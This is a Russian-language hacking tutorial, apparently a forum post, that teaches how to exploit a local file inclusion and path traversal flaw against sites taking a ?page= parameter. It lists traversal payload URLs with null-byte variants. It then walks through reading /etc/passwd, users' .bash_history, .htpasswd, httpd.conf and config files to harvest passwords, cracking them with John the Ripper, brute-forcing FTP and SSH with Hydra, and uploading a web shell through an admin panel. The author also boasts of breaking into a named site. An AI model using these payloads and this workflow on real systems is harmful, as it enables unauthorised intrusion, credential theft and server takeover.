Очень часто в журналах, на форумах и от друзей можно услышать следующее:
"Я нашел читалку, но так как с неё ничего не поднять..."
Хочу сказать, что такое заблуждение весьма распространено. Целью своей статьи
ставлю разубеждение в 100% адекватности таких заявлений. Кроме того, я не встречал статьи,
показывающе как пошагово реализовать эту уязвимость в ощутимый результат.
Первым делом, ищем непосредственно саму багу.
Как это делать, я писать не буду, но если возникнет такая необходимость - напишу.
Необходимо заметить, что реализация уязвимости может быть разной:
http://somesite.info/?page=/etc/passwd (рекомендую вставлять именно
passwd, т. к. этот файл практически всегда доступен для
чтения владельцу файлов/папок сайта)
http://somesite.info/?page=/etc/passwd%00
Иногда даже так:
http://somesite.info/?page=/etc/passwd%00.html (или .txt .php .inc .jpg и т. д.)
но лично я такого не встречал.
http://somesite.info/?page=../../../../../../../../../../etc/passwd
http://somesite.info/?page=../../../../../../../../../../etc/passwd%00
http://somesite.info/?page=../../../../../../../../../../etc/passwd%00.html
http://somesite.info/?page=somedir/../../../../../../../../../../etc/passwd
http://somesite.info/?page=somedir/../../../../../../../../../../etc/passwd%00
http://somesite.info/?page=somedir/../../../../../../../../../../etc/passwd%00.html
Иногда для нормальной реализации необходимо знание полного пути к директории.
Кстати, никогда не верьте расширению у скрипта!
Найдя такую багу, делаем следующее:
I. Читаем файл /etc/passwd.
В этом файл есть три раздела информации, представляющей для нас особый интерес:
1) Лоигны пользователей;
2) Путь к их домашним директориям:
3) Наличие у них действующего интерпретатора.
Обычно я начинаю с пункта 3.
С помощью бажного скрипта пытаюсь прочитать:
http://somesite.info/?page=somedir/../../../../../../../../../../home/dir/of/some/user/.bash_history
Поверьте, если пользователей много, хоть одна хистори буде доступна для чтения.
//Необходимо заметить - когда сегодня я взламывал antichat файл .bash_history был доступен на чтение владельцу
//web' директорий.
//чего быть не должно.
В .bash_history внимательно просматриваем все комманды с целью найти следующие строки
ssh othersite.com -l afsdds -p wronGp4ssw0rt
Конечно, это может быть и правильный пароль. Но если
этот пароль не подходит (или после этих строк идёт
еще одна строка авторизации через ssh)-
в этом случае можно попробовать угадать пароль. Конечно, проще это сделать, если пароль
является словом, например
antechat. Очевидно, что паролем, скорее всего, является, antichat (хотя
может быть и ant1ch4t и т. д.). Вообщем, нужна фантазия и удача.
или (перед вводом комманды su):
si или
st или
ssu или
ssu.
Ну а на следующей строчке после этой комманды пароль скорее всего мы увидим правильный
и гадать нам не понадобится.
Если ничего найдено не было, стоит попробовать пункт 2.
Здесь уже необходимо больше и фантазии и удачи:
http://somesite.info/?page=somedir/../../../../../../../../../../way/to/site/dir/public_html
Подставляем в конец
.htpasswd, и при удачном раскладе читаем зашифрованные DES'ом пароли.
При не очень удачном пытаемся прочитать .htaccess, а из него выцепить интересную информацию (строка AuthUserFile), например на файлы с паролями.
Такое возможно потому, что в файл .htaccess может быть помещено большинство из доступных директив для веб-сервера.
Если находим такую ссылку - вставлем путь к ней вместо way/to/site/dir/public_html и запускаем прогу John The Ripper,
позволяющую быстро расправиться с закодированными паролями.
Кроме этого, необходимо помнить, что файлы .htaccess и .htpasswd могут лежать в любой поддиректории.
Поэтому, например, если Вы знаете, что на сайте есть форум с админкой, пробуем:
http://somesite.info/?page=somedir/../../../../../../../../../../way/to/site/dir/public_html/forum/admin/.htaccess
Я советую поугадывать имена возможных папок (это можно узнать просто гуляя по сайту) и попробовать поискать файлы во всех подпапках.
Кроме того, часто можно итнуитивно угадать имя папки, в которой может лежать такой файл.
Например, зная путь до домашних папок:
/home/users/name_save_with_site_name
Попробуйте поискать файлы в папках
/home/users/name_save_with_site_name/www
/home/users/name_save_with_site_name/htdocs/
//home/users/name_save_with_site_name/public_html
и тому подобных.
В таких папках, например, могут лежать копии сайтов.
Далее, используя расшифрованный пароль, либо заходим в админку и ищем там возможности
для закачки шелла, например через upload файлов.
Или пробуем использовать пароль к ssh (если в файле /etc/passwd у данного пользователя есть доступ к bash), или к ftp.
Ну и последний пункт, косвенно связанный с предыдущим пункт 1.
Путь 1 (быстрый). Собираем при помощи специального скрипта пары login:login из /etc/passwd и при помощи другого скрипта (или программы)
пытаемся брутить ftp, попутно выясняя login'ы тех пользователей, на кого ни в коем случае не стоит ровняться.
Путь 2 (чаще всего долгий). При помощи любой соответствующей нашей цели программы пытаемя сбрутить пароль по словарю.
В обоих случаях идеально подходит программа Hydra, доступная на официальном сайте THC.org (
http://thc.org )
II. Читаем файл httpd.conf
С этим файлом всё немного запутаннее, т. к. (в отличии от passwd), он может лежать
в различных директориях на разных серверах.
Но первым делом, все равно пробуем стандарт de facto:
http://somesite.info/?page=somedir/../../../../../../../../../../usr/local/apache/conf/httpd.conf
В 70% случаев он находится именно там.
Если нет, стоит проверить папки следующим образом:
http://somesite.info/?page=somedir/../../../../../../../../../../etc/../usr/conf/../../etc/shells
(в целях экономии трафика =), хотя вполне можно и passwd)
Если на страницу будет выведены существующие интерпретаторы (записи типа, /usr/bin/sh, /usr/bin/csh и т. п.)- опять ликуем, т. к.
теперь мы точно уверены в существовании директории conf. Тогда можно поискать файл httpd.conf в ней.
Таким образо можно проверить наличие любой папки, добавляя в строку ее название и дополнительные символы
перехода вниз по каталогу (../)
Наиболее часто мне встречаличь следующие пути (в порядке убывания):
/usr/apache/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/usr/local/http/conf/httpd.conf
/usr/http/conf/httpd.conf
/usr/httpd/conf/httpd.conf
В найденном файле ищем cтроки (само собой, через поиск, т. к. файл большой)
.htpasswd или AuthUserFile
Эти файлы укажут нам на файлы паролей.
Кроме того, отдельный интерес в этом файле представляет раздел Virual Hosts,
из которого мы можем узнать мыло администратора (директива ServerAdmin),
полный путь к web-директории и еще немного информации (директива DocumentRoot),
а также место хранения логов, при просмотре которых можно
также найти какой-нибудь пароль в GET-запросе (что очень мало веротяно)_.
Пример:
<# <VirtualHost *:80>
# ServerName www.*.*.navy.mil
# ServerAlias *.*.navy.mil *.navy.mil www.*.navy.mil
# DocumentRoot "/home/www/*/htdocs/"====> полный путь к Web'у
# ServerAdmin regional.webmaster@*.navy.mil ====> мыло админа
# ErrorLog "|/usr/sbin/rotatelogs /home/logs/httpd/*/*n-error_log 86400"
# CustomLog "|/usr/sbin/rotatelogs /home/logs/httpd/*/*-access_log 86400" combined ===> логи доступа
#
# <Directory "/home/www/*/htdocs">
# Options MultiViews
# AllowOverride None
# Order allow,deny
# Allow from all
# <LIMIT PUT DELETE>
# Order deny,allow
# Deny from all
# </LIMIT>
# </Directory>
#
# </VirtualHost>
Три важных замечания:
Замечание 1.
Часто бывает так, что при помощи этой баги можно просматривать директории, например:
http://www.goldenroseflorist.com/ind..../../../../etc
Замечание 2.
Также, если Вы точно уверены в существовании директорий
/chat /adm /admin /forum
пробуйте прочитать файлы conf.php, config.php, auth.inc.php, conf.inc.php.
Вообщем, различные конфиги и т.п.
http://somesite.info/?page=somedir/../../../../../../../../../../home/user/www/forum/config.inc.php
Замечание 3.
Пробуйте читать исходный код бажного сценария:
http://somesite.info/view.cgi?page=somedir/../../../../../../../../../../home/user/www/view.cgi%00
Вот собственно, и все, что я могу сказать по этой теме.
Отдельно хотелось бы упомянуть следующие случаи из моей практики:
-Доступный на чтение файл /root/.bash_history
-Доступный на чтение файл /etc/shadow
-Доступный на чтение файл httpd.conf, лежащий в /etc/httpd/conf/httpd.conf
-Доступный на чтение файл /etc/.htpasswd (уж не знаю, что они запаролить хотели, копия скорее всего=)).
P. S. При возникновении любых вопросов - обращайтесь!
Спасибо за внимание,
с уважением 1ten0.0net1.